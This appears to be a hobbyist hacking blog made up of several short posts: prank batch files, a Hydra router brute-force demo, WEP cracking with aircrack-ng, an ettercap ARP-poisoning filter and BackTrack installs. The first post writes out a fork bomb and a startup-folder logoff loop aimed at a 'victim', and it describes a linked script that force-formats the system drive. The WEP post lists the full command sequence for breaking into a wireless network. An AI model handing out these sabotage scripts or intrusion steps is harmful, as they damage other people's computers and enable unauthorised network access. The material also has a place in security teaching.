*random post* .bat

This is a pointless post really lol.
Most people know about it already.
I thought it would be a good idea just add a few bits.
Open notepad, copy text in, save as, change save as type to all files, then name.bat
In backtrack use kate and save it as something.bat

3 of the funniest batch files.

shutdown -l

Simple log off batch however chuck it into the startup folder and every time the victim logs in they will be logged out.

:a
start
goto :a

This is a fork bomb.
It opens a cmd shell inside another and more and more until the pc can't handle it,
which is usually seconds. Picture here 

Last one which is harsh but funny, don't run it yourself!

Formatting

*Anti-virus' read this as a trojan so I linked it in a pastebin here*

The speed this formats, is rapid. By the time the victim realises what is going on, its reinstall time.
It formats the system drive in forced mode then shuts the pc down.

The locations of startup do vary between xp and w7.
Here are the default startup locations:

w7: C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup
xp: C:\Documents and Settings\Victim\Start Menu\Programs\Startup

Next time something more hackerererish.

Cheers
2neon

Meller "What Would Meller Do?" '10

Wireless Router Passwords Hydra

I know, its been a while, but after a fair few pints of Guinness on St. Patricks day I decided to do this video.
Strangely enough the vid didn't need much editing, I'm just very lazy!

Right, the router is a standard virgin media device, the attack is brute force as it just tries all the different passwords on the list, if the password isn't on the list, you're not going to crack it. Note as well that some routers will not let you do this!

The only values that you will really have to change is the location of the word list as my 2neon was full of random words for this video -p.
and the I.p. address of the router as yours might not be on 192.168.0.1


Video:
Hydra cracking 


Cheers
2neon

Under Pricey's regime "You can keep messing about, but you will be kicked out"

WEP Cracking

So next vid then, I decided to show how to crack a WEP key. WEP is very insecure and not too difficult to break.

So before everyone thinks "yay free wifi" don't start breaking in to your next doors wifi. Instead, try advising them that maybe they should think about changing their security.

A few prerequisites;
You will struggle to do this in a virtual box.
A lot of  laptop network cards will not work as there are driver issuses.
The network card must be able to switch to monitor mode and if it can also packet inject, it makes life easier.

Theory:
So why is WEP so insecure? WEP uses the RC4 stream cipher, an initialisation vector and the WEP key.
The initialisation vectors(IV) is only 24bits long which is far to short. When packets are sent though the access point, the WEP key plus the IV are sent meaning that it is visible for all to see. Once the attack has seen or collected enough of these IV's its possible to work out the WEP key. By re-injecting the packets we are able to speed up this process.


The steps:

airmon-ng
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -c -w 2neon --bssid (bssid) mon0
aireplay-ng -1 0 -a (bssid) mon0
aireplay-ng -3 -b (bssid) mon0
aircrack-ng -b (bssid) (2neon-01.cap)

-c is the channel of the access point
-w is a text file name it anything aslong as at the end you call txt-01.cap

The video:
WEP cracking in BT

Again the mouse was gayed when recording this, will make sure that in the next vids that is sorted.

In the words of swaZ "we're cooking now".

Cheers
2neon

Etterfilters

Hi all.

So this is the first actual attack that we are going to do. It is a man in the middle type attack, this means we sit in between the router and the victim. Any traffic that goes between the two points first has to pass through my pc.

<Router>------<my pc>------<Victim>

This is done using ARP poisoning.

The ettercap filter is harmless and is essentially an IF statement.
The IF statement checks if the there are picture on the victims web traffic and replaces the pictures which the one that you specify.

The filter can be found here:
Irongeeks Ettercap Filter

The video can be found here:
Ettercap Filter Video

In the video, on the victim machine, I had to refresh as the first time firefox loads the page, it is pulled from the cache.


2neon

VBox Install BT4

OK, first off the video on this isn't fantastic.
For some reason when recording the mouse came out as a square :/

In this video I install backtrack 4 R2 in a virtualbox.

This is just a very simple install to the virtual box hard drive.
The install and tweaks are just how I like to set it up.

The steps:
Firstly creating a new machine in a virtual box, with hard drive and customised settings.
Next boot from the bt4 iso.
startx
Install
Select location and keyboard settings.
Select amount of disk space to use.
Once the install has finished reboot.

login: root

pass: toor

fix-splash800 

nano /root/.bash_profile

start-network

startx

hit ctrl + x

and save it.

reboot again
system menu -> storage media-> open additions-> open terminal
ls
bash VBoxLinuxAdditions.run
apt-get -y update
apt-get -y upgrade

The video:
VB install of BT4

Not sure why it decided to play up on me :(

Cheers
2neon

Live USB install

Right guys,

I decided to take it right from the basics so in this post and video I have downloaded and installed backtrack 4 R2.

This is a live install, which means if you make ANY changes, once you reboot they will be lost.

For those who don't know what Backtrack is, it's a custom distribution of Linux with the primary intention of penetration testing, exploiting and so on.
Found here http://www.backtrack-linux.org/

Please enjoy the video linked below any feedback would be fantastic and very useful.

Live install of BT4R2 to USB

Thanks
2neon

P.S. Thanks to my friend Heliocentric who is providing the tunes.

2neon has a blog

So I have decided to create a blog.

The idea behind the blog is to keep people updated on security vids and my program development.

As all of this is kind of  new to me it may be a little tedious to start with so bare with me.

So, the videos are going to be using a backtrack virtual box and then a victim machine/virtual box.
This part I am familiar with, the recording will be using camtasia, which is something to look forward to :(

Finally I am trying to develop a program using the CUDA architecture, more on this later!

Cheers
2neon